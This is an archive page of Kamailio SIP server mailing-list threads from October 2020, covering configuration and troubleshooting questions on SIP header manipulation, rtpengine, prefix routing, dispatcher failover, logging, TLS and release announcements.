SIP/2.0/UDP KAMAILIO-IP:7790;TH=ucv;rport=7790;received=KAMAILIO-IP;branch=z9hG4bK7317.fe3491996f35f580f2efa1c50081a62c.1;i=7Via: SIP/2.0/TLS DID-IP:5061;rport=8256;TH=div;branch=z9hG4bK77976715Record-Route: <sip:KAMAILIO-IP:7790;lr;r2=on;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:KAMAILIO-IP:5061;transport=tls;r2=on;lr;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>Call-ID: 936ba28f302f5a5d9b09f32e2e7c41f2From: "Alga Tech" <sip:1508@qs.callsprout.com>;tag=28989e96e28d47d891b4d8d21d85fa92To: <sip:+1700@KAMAILIOSERER.com;user=phone>;tag=17f0e0ba-c1c0-457a-b0dd-9a9729d312e7CSeq: 1 INVITEServer: AsteriskContact: <sip:66.232.107.106:7790>Allow: OPTIONS, SUBSCRIBE, NOTIFY, PUBLISH, INVITE, ACK, BYE, CANCEL, UPDATE, PRACK, REGISTER, MESSAGE, REFERContent-Length: 0 ---------------------- >From Asterisk to Kamailio SIP/2.0 180 RingingVia: SIP/2.0/UDP KAMAILIO-IP:7790;TH=ucv;rport=7790;received=KAMAILIO-IP;branch=z9hG4bK7317.fe3491996f35f580f2efa1c50081a62c.1;i=7Via: SIP/2.0/TLS DID-IP:5061;rport=8256;TH=div;branch=z9hG4bK77976715Record-Route: <sip:KAMAILIO-IP:7790;lr;r2=on;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:KAMAILIO-IP:5061;transport=tls;r2=on;lr;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>Call-ID: 936ba28f302f5a5d9b09f32e2e7c41f2From: "Alga Tech" <sip:1508@qs.callsprout.com>;tag=28989e96e28d47d891b4d8d21d85fa92To: <sip:+1700@KAMAILIOSERER.com;user=phone>;tag=17f0e0ba-c1c0-457a-b0dd-9a9729d312e7CSeq: 1 INVITEServer: AsteriskAllow: OPTIONS, SUBSCRIBE, NOTIFY, PUBLISH, INVITE, ACK, BYE, CANCEL, UPDATE, PRACK, REGISTER, MESSAGE, REFERContact: <sip:66.232.107.106:7790>Content-Length: 0TH: uch ---------------------- >From Asterisk to Kamailio SIP/2.0 200 OKVia: SIP/2.0/UDP KAMAILIO-IP:7790;TH=ucv;rport=7790;received=KAMAILIO-IP;branch=z9hG4bK7317.fe3491996f35f580f2efa1c50081a62c.1;i=7Via: SIP/2.0/TLS DID-IP:5061;rport=8256;TH=div;branch=z9hG4bK77976715Record-Route: <sip:KAMAILIO-IP:7790;lr;r2=on;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:KAMAILIO-IP:5061;transport=tls;r2=on;lr;ftag=28989e96e28d47d891b4d8d21d85fa92;vsf=AAAAABoEBwFwQUMeU1FcXjMDGx9bBF0XAQV1Yi5taWNyb3NvZnQuY29tOjUwNjE7dXNlcj1waG9uZQ--;nat=yes>Record-Route: <sip:DIDPROVIDER-ROUTE.com:5061;transport=tls;lr>Call-ID: 936ba28f302f5a5d9b09f32e2e7c41f2From: "Alga Tech" <sip:1508@qs.callsprout.com>;tag=28989e96e28d47d891b4d8d21d85fa92To: <sip:+1700@KAMAILIOSERER.com;user=phone>;tag=17f0e0ba-c1c0-457a-b0dd-9a9729d312e7CSeq: 1 INVITEServer: AsteriskAllow: OPTIONS, SUBSCRIBE, NOTIFY, PUBLISH, INVITE, ACK, BYE, CANCEL, UPDATE, PRACK, REGISTER, MESSAGE, REFERContact: <sip:66.232.107.106:7790>Supported: 100rel, timer, replaces, norefersubSession-Expires: 3600;refresher=uacRequire: timerContent-Type: application/sdpContent-Length: 299TH: uch

1 0

To Header Manipulation
by Sam Ware 15 Oct '20

15 Oct '20

Wondering if this is intended behavior. We have a customer doing some craziness with the TO header. They are including their tech prefix in the TO header as well as the RURI. It doesn't cause any issue in our systems but apparently it does with one of our vendors. In an effect to prevent the issue, we thought we would check if the tech prefix was added on the TO header and remove it. Initially, I tried this by changing the $tU variable. $avp(tp_len) = $(avp(techprefix){s.len}) + 1; # Get the Length of the Tech Prefix and add 1 for the # or * $tU = $(tU{s.strip, $avp(tp_len)}); The result ended up with the duplication of the DNIS: sut <sip:911999# 1812555111118125551111@172.16.3.45:5060> Where 911999# was the tech prefix and 18125551111 is the DNIS which was still an issue for the vendor. Through additional reading, I found the suggestion to use the uac_replace_to function in the UAC module which I implemented as follows: $avp(new_to_hdr_uri) = $(tu{re.subst,/sip:(.*[\*#])(.*)/sip:\2/}); uac_replace_to("$avp(new_to_hdr_uri)"); This resulted in the original TO header username to be appended at the end of the uri: sut <sip:18125551111@172.16.3.45:5060911999#18125551111> Wondering if I am doing something wrong or this is the way these functions are designed to protect the TO header contents for Dialog matching. -- Sam D Ware

2 1

Error in RTP engine setup
by Pavithra Mohanraja 15 Oct '20

15 Oct '20

Hi, I tried to setup rtpengine to make my sip clients communicate through proxy following https://open5gs.org/open5gs/docs/tutorial/02-VoLTE-setup/ I started sip communication since the service was running and saw that the RTP packets go to exposed rtp interface instead of other sip client. But i don't receive packets from the other end. When analyzed I noticed the rtp-engine daemon gives a few errors. *modprobe: FATAL: Module xt_RTPENGINE not found in directory /lib/modules/4.15.0-118-generic* *iptables: No chain/target/match by that name.ip6tables: No chain/target/match by that name. * Starting RTP/media proxy ngcp-rtpengine-daemon [1602690253.130392] ERR: FAILED TO CREATE KERNEL TABLE 0 (No such file or directory), KERNEL FORWARDING DISABLED* *(Note: *uname -r gives 4.15.0-118-generic and /lib/modules/ has only 4.15.0-115-generic*)* Please help me with this issue. Thanks in Advance. Regards, Pavithra

2 2

Re: [SR-Users] Regd : SIP Configuration in Kamailio
by Henning Westerholt 14 Oct '20

14 Oct '20

Hello, please keep the list in CC. I can see Kamailio in your log: Oct 14 11:21:59 nickar /usr/sbin/kamailio[24567]: INFO: <core> [main.c:842]: sig_usr(): signal 15 received Oct 14 11:21:59 nickar systemd[1]: Stopping Kamailio (OpenSER) - the Open Source SIP Server... Oct 14 11:21:59 nickar /usr/sbin/kamailio[24568]: INFO: <core> [main.c:842]: sig_usr(): signal 15 received About tracing/debugging, one good option is sngrep. Cheers, Henning -- Henning Westerholt – https://skalatan.de/blog/ Kamailio services – https://gilawa.com<https://gilawa.com/> From: Santanu B <santanu.br(a)gmail.com> Sent: Wednesday, October 14, 2020 1:41 PM To: Henning Westerholt <hw(a)skalatan.de> Subject: Re: [SR-Users] Regd : SIP Configuration in Kamailio Hi, My syslog file is enclosed for your reference. Thanks, Santanu On Wed, Oct 14, 2020 at 1:07 PM Henning Westerholt <hw(a)skalatan.de<mailto:hw@skalatan.de>> wrote: Hello, have a look to /var/log/messages or /var/log/syslog, depending on the distribution. Kamailio might be logged there. Cheers, Henning -- Henning Westerholt – https://skalatan.de/blog/ Kamailio services – https://gilawa.com<https://gilawa.com/> From: sr-users <sr-users-bounces(a)lists.kamailio.org<mailto:sr-users-bounces@lists.kamailio.org>> On Behalf Of Santanu B Sent: Wednesday, October 14, 2020 7:09 AM To: Kamailio (SER) - Users Mailing List <sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org>> Subject: Re: [SR-Users] Regd : SIP Configuration in Kamailio Dear David, In /var/log folder I am unable to see any kamailio log. Only syslog file is available. Please help me to find the Kamailio log. Also please guide me to find out the trace also as I am very new to SIP Server. Thanks a lot. Regards, Santanu On Tue, Oct 13, 2020 at 4:05 PM David Villasmil <david.villasmil.work(a)gmail.com<mailto:david.villasmil.work@gmail.com>> wrote: Hello, You will need to provide more information. What happens? What errors do you see in kamailio’s log? A trace would also be nice. On Tue, 13 Oct 2020 at 06:24, Santanu B <santanu.br(a)gmail.com<mailto:santanu.br@gmail.com>> wrote: Hi, We are using Jitsi Meet for Video Conference Service. We want our SIP endpoint to join in the conference room in Jitsi. For that i am trying to configure Kamailio SIP Server in our environment. I have installed the Server and my endpoints are registered in my SIP server. Both endpoints are able to connect to each other. But I am unable to configure the SIP endpoints to join in the Meet Conference Room. Please guide me to configure. Thanks and regards, Santanu _______________________________________________ Kamailio (SER) - Users Mailing List sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users -- Regards, David Villasmil email: david.villasmil.work(a)gmail.com<mailto:david.villasmil.work@gmail.com> phone: +34669448337 _______________________________________________ Kamailio (SER) - Users Mailing List sr-users(a)lists.kamailio.org<mailto:sr-users@lists.kamailio.org> https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users

1 0

SRTP
by Andy Kama 14 Oct '20

14 Oct '20

Hi All, I have setup a tls connection to a sip provider and it works perfectly But they are requesting i send srtp i can find any documentation how i do it with rtpengine etc? any guidance would be appreciated

3 3

pstn_route add_route(): route name <IP> not defined error
by sai Sudheer 14 Oct '20

14 Oct '20

Hii,I am trying to use pstn_route module for the first time, and i want to route the invite to specific pstn server based on its prefix.I have loaded the module & setup the DB, and it's giving error saying route name (from DB) is not defined after adding the a prefix into DB table., and there were no errors when DB table is empty.Not sure how to defined it, or i dont know what did i miss. Please help. #### CONFIG ##########loadmodule "prefix_route.so"modparam("prefix_route", "db_url", "mysql://xxxxx:xxxxx@localhost/kamailioDB")modparam("prefix_route", "db_table", "new_prefix_route") #PSTN Routing table contains if (!prefix_route("+44")) { xlog("L_INFO", "+44 prefix didnt match with prefix_route DB\n"); } ########## DB####MariaDB [kamailio]> select * from new_prefix_route;Empty set (0.00 sec) MariaDB [kamailio]> exit;########## Kamailio looks good untill here, no errors.. # Now i have added a prefix into sql DBINSERT INTO new_prefix_route VALUES ("+44", "10.10.1.1:5060", "route for this prefix");###########Error log after adding a prefix into new_prefix_route table & restart of kamailio 0(5802) CRITICAL: prefix_route [prefix_route.c:72]: add_route(): route name '10.10.1.1:5060' is not defined 0(5802) NOTICE: prefix_route [prefix_route.c:170]: pr_db_load(): Total prefix routes loaded: 1 0(5802) ERROR: prefix_route [prefix_route.c:174]: pr_db_load(): error flushing tree 0(5802) CRITICAL: prefix_route [prefix_route.c:212]: mod_init(): db load failed I have tried a "name" instead of IP (though i dont know how to convert that "name" into a IP:Port), But i am still getting same error using "name" instead of IP:port @ route field in DB. Please help.

2 2

how to get a value from SIP INVITE Header
by sai sudheer 14 Oct '20

14 Oct '20

Hii Please help me to get the a value from SIP INVITE header reached to kamailio like INVITE sip:+341930203454@sub.domain.com;myid=+34@sub.domain.com SIP/2.0 and i want to save the myid value +34 into a variable, without the domain name. $var(uri) = $sel(ruri); xavp_params_explode("$(var(uri){s.unbracket})", "uri"); xlog("L_INFO", "$var(uri) Received converted to $xavp(uri=>myid[0])\n"); I tried above and it prints +34(a)sub.domain.com But i want to just save +34 into a variable to further check the prefix based routing from the database. 1) Could you please help how to get it or If there is any alternate/single line approach to get this value? 2) $var & $xavp are process-local variables, and they cant be shared with other calls? Right 3) What is the best module to route calls based their prefix ? pstn_route or dynamic routing or any suggestions? Please help, thanks in advance.

3 7

'302 Moved temporarily' contact parsing error
by David VILLAUME 14 Oct '20

14 Oct '20

Hello, I see parsing errors on 302 contact header that seems compliant to RFC : Contact:<sip:172.16.0.21:5060>;q=0.5,<sip:172.16.0.22:5060>;q=0.25 <core> [core/parser/parse_addr_spec.c:479]: parse_to_param(): invalid character ',' in status 27: [;q=0.5] Is there an error in my contact or is it truly a parsing error ? Regards, David

3 6

Wants to know kamailio supports IMS with SRVCC Handover or not
by Anwesh Babu 14 Oct '20

14 Oct '20

Hello Team, I am working for a telecom company and want to use Kamailio for my VoLTE testing. I had earlier used these tools for my VoLTE testing using a Polaris CNE. But i have a requirement to perform SRVCC Handover for CS/CS+PS. will Kamailio support the SRVCC Handover? If supported, can it be possible to share the details ? -- Best Regards, Anwesh Babu T

1 0

routing calls based on prefix
by Andy Kama 13 Oct '20

13 Oct '20

Hi All, What is the best way to approach this? example if a call comes into kamailio with a specific number it example to:123456789 it must go to the dispatcher module but if a call comes with any other number it must route to a uac or can you use uac with dispatcher? basically i want to route inbound calls to a dispatcher and calls from that dispatcher out a uac

2 2

Caseless regex
by Marat Gareev 13 Oct '20

13 Oct '20

Hello, Is it possible write more readable regular expression if ($tU =~ "(?i)^test$") { ... } instead of "^[tT][eE][sS][tT]$"? On the first option, I get the error: 0(47250) ERROR: <core> [core/rvalue.c:3038]: fix_match_rve(): Bad regular expression Regards, Marat

3 5

about $sht(htable=>key) htable name
by Juha Heinanen 13 Oct '20

13 Oct '20

Is there some good reason why htable in $sht(htable=>key) cannot be a dynamic string containing pseudo variables? -- Juha

2 2

Re: [SR-Users] Local cache registration
by David VILLAUME 13 Oct '20

13 Oct '20

I read again the uac doc and didn’t find a way to perform this using the functions that seems to require credentials that I don’t have on the kamailio host. Is the uac module really designed to perform this operation is that way ? Regards, David El Sun, 11 Oct 2020 20:07:58 +0000 David VILLAUME <david.villaume at sewan.fr<https://lists.kamailio.org/cgi-bin/mailman/listinfo/sr-users>> escribió: > Hello, > > I try to perform a registration caching in order to have a short interval > registration on phone <> Kamailio (5 minutes) and a longest interval on the > leg Kamailio <> registrar(1h). > > I’m not so sure about the best way to proceed, does one of you have a working > sample or some hints about the way to have it working ? > > the uac module does that. You can handle upstream registrations in different intervals than the ones you receive.

4 9

Permissions address
by David Villasmil 13 Oct '20

13 Oct '20

Hello guys, Is there any way to reload the address table in the cfg? I always need to use "kamctl address reload"... Regards, David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

3 3

Dispatcher stops working
by Sergio Charrua 12 Oct '20

12 Oct '20

Hello, Using Kamailio 5.1.6 for load balancing & failover, I noticed that from time to time, and very rarely, the dispatcher module stops dispatching to the Asterisk servers. I have to execute a "kamcmd dispatcher reload" for it to (re)start working. This is my dispatcher.list : 1 sip:10.19.XXX.YYY:5060 0 1 duid=sipgw01;maxload=100 1 sip:10.19.XXX.YYY:5060 0 2 duid=sipgw02;maxload=100 1 sip:10.19.XXX.YYY:5060 0 3 duid=sipgw03;maxload=100 1 sip:10.19.XXX.YYY:5060 0 4 duid=sipgw04;maxload=100 This is my dispatch routes: # Dispatch requests route[DISPATCH] { if(!ds_select_dst("1", "10","4")) { xlog("L_INFO","no destination selected from dispatcher list!"); send_reply("404", "No destination"); exit; } xlog("L_INFO","going to <$ru> via <$du>\n"); t_on_failure("RTF_DISPATCH"); route(RELAY); exit; } # Sample failure route failure_route[RTF_DISPATCH] { if (t_is_canceled()) { exit; } xlog("L_INFO", "Media server $du failed to answer, selecting other one!"); # next DST - only for 500 or local timeout if ( t_check_status("500") || (t_branch_timeout() && !t_branch_replied()) ) { #mark the destination Inactive and Probing ds_mark_dst("ip"); if(ds_next_dst()) { t_on_failure("RTF_DISPATCH"); route(RELAY); exit; } } } I suspect that the ds_mark_dst("ip") command in RTF_DISPACTH is the cause. Is there any think I can improve on this? Or any know bug with the dispatcher in Kamailio 5.1.6 version? Thanks in advance, *Sérgio Charrua*

4 4

Logging problem
by Jan Rozhon 12 Oct '20

12 Oct '20

Hi, sorry for quite stupid and newbie questions, but I am out of ideas. 1. On one of my Debian 10 servers I am unable to stop logging kamailio messages to /var/log/syslog. It is funny, because I have 3 more servers where it works but on this one, it doesnt and no matter what I try it still keeps sending logs to syslog (and to the file configured). My related configs: /etc/kamailio/kamailio.cfg log_stderror=no log_facility=LOG_LOCAL7 /etc/rsyslog.conf local6.* /var/log/kamailio/cdr.log local7.* /var/log/kamailio/kamailio.log /etc/rsyslog.d/kamailio.conf if $programname contains 'kamailio' then /var/log/kamailio/kamailio.log & stop /etc/systemd/system/multi-user.target.wants/kamailio.service SyslogIdentifier=kamailio 2. It is probably related to 1. I am unable to get the CDRs logged to anything else but /var/log/syslog. I tried database (nothing) and setting cdr_facility and again nothing. It just keeps sending everything to /var/log/syslog. Related configs: modparam("acc", "cdr_enable", 1) modparam("acc", "cdrs_table", "acc_cdrs") modparam("acc", "cdr_facility", "LOG_LOCAL6") Example output in syslog file: Sep 30 09:21:41 sip2 /usr/sbin/kamailio[1151]: NOTICE: {2 21 INVITE ZPZI7Hqytw} acc [acc.c:279]: acc_log_request(): ACC: call missed: timestamp=1601450501;method=INVITE;from_tag=1GH5hGQxN;to_tag=QwcYFet;call_id=ZPZI7Hqytw;code=486;reason=Busy here;src_user=XXXXXXXXX; Is there something trivial I am missing? Thank you. Regards, Jan

4 7

Local cache registration
by David VILLAUME 11 Oct '20

11 Oct '20

Hello, I try to perform a registration caching in order to have a short interval registration on phone <> Kamailio (5 minutes) and a longest interval on the leg Kamailio <> registrar(1h). I’m not so sure about the best way to proceed, does one of you have a working sample or some hints about the way to have it working ? Thanks in advance , David

2 1

Kamailio Bridge
by conradcordeiro＠gmail.com 09 Oct '20

09 Oct '20

Hello everyone, Please, see this: https://github.com/fredposner/scripts/blob/master/kamailio/kamailio-tls_srt…. I am researching to understand how this TLS-bridge configuration works and have a main question about how passwords are handled in this scenario. If the PBX in the equation requires password authentication, when SIP clients connect to the Kamailio bridge with that username and password, does Kamailio pass through the username and password to the PBX? Many thanks, Conrad

2 2

jsonrpcs - safest way to get data
by Ilie Soltanici 09 Oct '20

09 Oct '20

Hello, I'm trying to periodically get all registered contacts from the Kamailio memory in the json format. JSONRPCS module have 3 different types of transport to get this data. I just wonder what will be the safest transport for the Kamailio to get all this data? Because all this data it's not so important, I want to gather it without affecting the main process or with the minimal effect on the Kamailio SIP Processing module. 1. The HTTP transport - very useful, working async, but because it depends on the xhttp module - which works synchronously I'm afraid that for big data with contacts this type of transport can affect the kamailio performance. 2. FIFO - this transport also is very fast, working locally - but it's synchronous, I'm not sure how it will affect Kamailio SIP Processing when the local database will have few millions of users registered. 3. DGRAM - also seems to be very fast, working locally or remotely through the UDP protocol, but again it's synchronous and I'm not sure that this transport is returning any output for the request, I tried - but didn't get back anything, while for changing something it worked fine. Maybe it was a misconfiguration in my config file. What would be your recommendation for this case? Thank you.

3 3

modify Proxy-Authenticate header parameter
by David Villasmil 09 Oct '20

09 Oct '20

Hello guys, I'm receiving a Proxy-Authenticate header with a special parameter, call if "myparam", something like: Proxy-Authenticate: Digest realm="sip.mydomain.com", nonce="...", algorithm=MD5, qop="auth", opaque="XXXX/YYYY" I can get the parameter like so: $var(myparam) = @proxy_authorization["sip.mydomain.com"].myparam; And this is great! But i need to replace part of the parameter "myparam"m and I can't figure out how to do it... Can anyone help me with this? Thanks!, David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

2 2

Caller-ID and Dbaliases
by HS 08 Oct '20

08 Oct '20

Hi all. We want to manage users via dbaliases so that one subscriber can have multiple aliases. We have an internal username in the subscriber table. We authenticate with the internal username, the call goes through with the internal username. Is there anyway to specify: 1. Caller-ID to be the actual email_address (added to subscriber table), 2. Authenticate with dbaliases? Any other thoughts please? Appreciate the help. Best wishes.

1 0

Result limitation on sqlops
by Duarte Rocha 07 Oct '20

07 Oct '20

Hey, I just upgrade to Kamailio 5.4 and i see that now sqlops has a limitation of 32 results containers which is not enough for my proxy. Is it possible that this limitation can be configured via module parameters? In the meanwhile i've changed the value in sql_api.c but i would like to have my source code as close as the original as possible. Best Regards, Duarte Rocha

3 3

SIP client - Linphone
by Pavithra Mohanraja 06 Oct '20

06 Oct '20

Hi, I am a newbie to sipclient Linphone. I know this issue is not related with kamailio.Yet If anybody have tried it before , kindly provide me with some links or procedures to be followed for call registration and connectivity with kamailio since in my case, request is going but response is not coming back resulting in timeout issue. This happens only in linphone.If i do the samething in PJSIP/zoiper, call registration and call establishment happens perfectly fine. Kindly help. Thanks, Pavithra

4 10

kamailio SBC - session timers
by marek 06 Oct '20

06 Oct '20

hi, i have kamailio+rtpengine acting as a SBC (private/public net interfaces) kamailio 5.4.x/rtpengine 9.x/centos 7 using TOPOH module modparam("topoh", "mask_ip", "public_IP") i'm rewriting IPs in INVITE like this $var(ruri) = "sip:" + $(ru{re.subst,/private_IP/public_IP/g}); $ru = $(ru{re.subst,/private_IP/public_IP/g}); $tu = $(tu{re.subst,/private_IP/public_IP/g}); $fu = $(fu{re.subst,/remote_private_IP/public_IP/g}); the same for route[WITHINDIALOG] and INVITE i have problem with session timers using re-INVITE method in the first INVITE SDP is correct c=IN IP4 public_IP but in the reinvite is c=IN IP4 private_IP and remote SBC drop with 422 because SDP is changed and SDP version is not. any tips / best practice? thanks Marek

2 2

I want separate subscribers in groups
by ahmed moghazy 06 Oct '20

06 Oct '20

Hello sir, I got the the log from kamailio as u explained thank you , now i want to put subscribers in groups so subscribers in group (a)could not call subscribers in group(b) , and i want to make subscriber could call any one but no one could call him , thank you.

2 1

Drop calls with response 200 without previous 180/183 reponses
by Valter Nogueira 05 Oct '20

05 Oct '20

I would like to use Kamailio to drop every call that is answered with no previous 180 / 183 responses or with 180 / 183 responses with no media attached (no SDP?). Is it possible? How could I accomplish this? Thanks, Valter

4 6

SIP message generator for Kamailio
by luke devon 05 Oct '20

05 Oct '20

Hi Team, May I check with you, Is there a SIP message generator available for the Kamailio? I want to test my setup using some test SIP messages. Many ThanksLuke.

5 6

xcap_client: storage of document in local DB
by Valentin Christoph 05 Oct '20

05 Oct '20

Hi all, Does anybody know, when the xcap_client deletes a registered document from the database? Is it possible to deregister a document? Are you sure, the documented get_elem API function is actually implemented? All the best Christoph

3 5

dlg.list_match - Invalid matching key parameter
by Ilie Soltanici 03 Oct '20

03 Oct '20

Hello, The dlg.list_match rpc function from the dialog module is not able to find dialogs matching by the callid key: kamcmd dlg.list_match callid eq "01234567890(a)192.168.0.1" getting back: error: 500 - Invalid matching key parameter I think it's because of this check: 2945:dialog.c: } else if(mkey.len==5 && strncmp(mkey.s, "callid", mkey.len )==0) { the mkey.len - should be 6 in this case, I recompiled locally the dialog module and seems to be working ok. Thank you.

3 2

Kamailio 5.2.8 released
by Henning Westerholt 02 Oct '20

02 Oct '20

Hello, Kamailio SIP Server v5.2.8 stable release is out. This is a maintenance release of the old stable branch (5.2), that includes fixes since the release of v5.2.7. There are no change to database schema or configuration language structure that you have to do on previous installations of v5.2.x. Unless major regressions are discovered after the release, this will be the last release of the 5.2 stable branch. The current stable branches 5.3 and 5.4 will continue to be maintained. Deployments running previous v5.2.x versions are strongly recommended to be upgraded to v5.2.8. For more details about version 5.2.8 (including links and guidelines to download the tar file or from GIT repository), visit: https://www.kamailio.org/w/2020/10/kamailio-5-2-8-released/ RPM, Debian/Ubuntu packages will be available soon as well. Many thanks to all contributing and using Kamailio! Cheers, Henning -- Henning Westerholt - https://skalatan.de/blog/ Kamailio services - https://gilawa.com<https://gilawa.com/>

1 0

403 Not relaying (DNS)
by Justin Bookshar 02 Oct '20

02 Oct '20

Hello, I'm trying to use Kamailio as a proxy and registrar component in our network and I would like to be able to do several things. I have an MCU capable of making SIP calls and using Kamailio as a proxy but it is not able to register with Kamailio. I would like to have Kamailio resolve addresses using its DNS component. I have attempted to do this, but I am getting 403 Not relaying responses when attempting to make calls through Kamailio that require the destination URI to be resolved. I have enabled debug and I don't see anything that would cause this. I have verified our /etc/resolv.conf file. When I use the primary DNS server in the list on an endpoint, I can get the address to resolve and the call completes correctly. I know I have working equipment on each end and the DNS server and URI are correct but going through Kamailio fails for both the MCU and endpoint when using it as a proxy. I have also tried to disable the internal resolver by adding the use_dns_cache=no option to the kamailio.cfg file. This produced the same result but as I mentioned I have independently verified the DNS server so I know the issue is isolated to Kamailio. Is it possible for Kamailio to do this or am I wrong in believing it can? The second thing I would like to do is to route calls to the MCU based on a prefix. I think I roughly have this working by adding a custom routing block to the request_route operation. I would also like to be able to make calls to local equipment that is not registered with the registrar and I am not able to do this either. I get the same 403 Not Relaying error when I attempt to call a local endpoint by IP address through the proxy that is also not registered with the registrar. Any info is greatly appreciated. version: kamailio 5.2.5 (x86_64/linux) flags: STATS: Off, USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MEM, SHM_MMAP, PKG_MALLOC, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLACKLIST, HAVE_RESOLV_RES ADAPTIVE_WAIT_LOOPS=1024, MAX_RECV_BUFFER_SIZE 262144 MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: unknown compiled on 09:56:06 Oct 17 2019 with gcc 8.3.0 Thanks, Justin

1 0

MS Teams Serivce unavailable
by Andy Kama 02 Oct '20

02 Oct '20

Hi All, I have done all the changes to get teams working according to https://skalatan.de/en/blog/kamailio-sbc-teams#:~:text=Extend%20the%20MS%20… . but i find when i send a call to teams they send a response back with service unavailable. Can anyone guide me what I am doing wrong? I have added the record route and confirm it is being sent My setup is freeswitch -- kamailio --- teams

3 13

Releasing Kamailio 5.2.8
by Henning Westerholt 02 Oct '20

02 Oct '20

Hello, I am planning to release next week (likely on Friday 2nd October) the next minor version out of branch 5.2, version 5.2.8. Backports of fixed issues from git master will be integrated as usual. If you are aware of new issues which were not yet reported, let us know (by creating an issue on the tracker). Unless major regressions are discovered after the release, this will be the last release of the 5.2 stable branch. The current stable branches 5.3 and 5.4 will continue to be maintained. Cheers, Henning -- Henning Westerholt - https://skalatan.de/blog/ Kamailio services - https://gilawa.com<https://gilawa.com/>

1 1

Kamailio fails to start when tls module parameter 'config' contains a folder name
by Leonid Fainshtein 02 Oct '20

02 Oct '20

Hi, I am using Kamailio 5.4.1 installed from the packages on Ubuntu 18.04. When I define 'modparam("tls", "config", "<folder>")', Kamailio fails to start: ERROR: tls [tls_config.c:418]: tls_load_config(): cannot make tmp file configrcCczj ERROR: <core> [core/sr_module.c:849]: init_mod(): Error while initializing module tls (/usr/lib/x86_64-linux-gnu/kamailio/modules/tls.so) I checked the tls_load_config() function and found that when a folder is defined in the 'config' parameter, the function tries to open a temporary file in the working directory. I believe that the working directory at that point is the folder where Kamailio was started: /usr/sbin. I succeeded to launch Kamailio in two ways: Method 1: copy 'kamailio' to /tmp and modify kamalio.service accordingly. This experiment result made me think that the working folder is the folder where kamailio is started. Method 2: add Kamailio command line parameter "-w /tmp" (I also tried to define the Systemd 'WorkingDirectory' parameter but it didn't have any effect.) I think that the ultimate solution for this problem is to modify the tls_load_config() function in such a way that it will open the temporary file in a folder that is intended for the temporary files. For example, the /tmp folder in Linux and *BSD systems. I guess that /tmp is a good place in MacOS as well. Best regards, Leonid Fainshtein

2 3

TOPOS issue
by David Villasmil 01 Oct '20

01 Oct '20

Hello guys, I have this scenario where I have an ongoing transaction. I receive a 180 (non 100rel) with some to_tag, which i forward back to the caller. Then I receive an 183 (100rel) which is forwarded back to the caller, who in turn PRACKs it. It is then that Kamailio (apparently) can't match that transaction internally and replies to the caller (the one PRACKing the 183 (100rel)), with 493 FORBIDDEN. I'm attaching a trace flow. (Kamailio is 10.255.0.1) you need to open the email really wide to see it properly. Anyone ever encountered this? Is this valid and should work? |Time | 10.15.169.4 (FS) 10.255.0.1 (KAM) | (KAM) 1.1.1.10 1.2.3.13 | | | | | | | | | | | | | |0.000000 | INVITE SDP (g722 g71 | | | | |(6000) ------------------> (5060) | | | |0.000941 | 100 Telnyx trying | | | | |(6000) <------------------ (5060) | | | |0.046558 | | | INVITE SDP (g722 g71 | | | | |(33033) ------------------> (5060) | |0.102078 | | | 100 Trying, boss | | | | |(33033) <------------------ (5060) | |0.386867 | | | 180 Ring a ling a li | | | | |(33033) <------------------ (5060) | |0.387578 | 180 Ring a ling a li | | | | |(6000) <------------------ (5060) | | | |3.413368 | | | 181 Prending to forw | | | | |(33033) <------------------ (5060) | |3.414373 | 181 Prending to forw | | | | |(6000) <------------------ (5060) | | | |6.441704 | | | 183 Seeing what I ca | | | | |(33033) <------------------ (5060) | |6.442896 | 183 Seeing what I ca | | | | |(6000) <------------------ (5060) | | | |6.890173 | PRACK | | | | | |(6000) ------------------> (5060) | | | |6.895497 | 403 Forbidden R1 | | | | |(6000) <------------------ (5060) | | | |9.473035 | | | 486 Actually, I'm qu | | | | |(33033) <------------------ (5060) | |9.473561 | | | ACK | | | | | |(33033) ------------------> (5060) | |9.473902 | 486 Actually, I'm qu | | | | |(6000) <------------------ (5060) | | | |9.921200 | ACK | | | | | |(6000) ------------------> (5060) | | | Regards, David Villasmil email: david.villasmil.work(a)gmail.com phone: +34669448337

2 2

Record Route
by Andy Kama 01 Oct '20

01 Oct '20

Hi Guys I am trying to add a custom record route so i have added record_route_preset("mydomain:5061;transport=tls", "myip:5060"); yet kamailio is still not adding it in the sip message what am i doing wrong?

2 3

XHTTP_Prom syntax error with usrloc in Kamailio 5.3
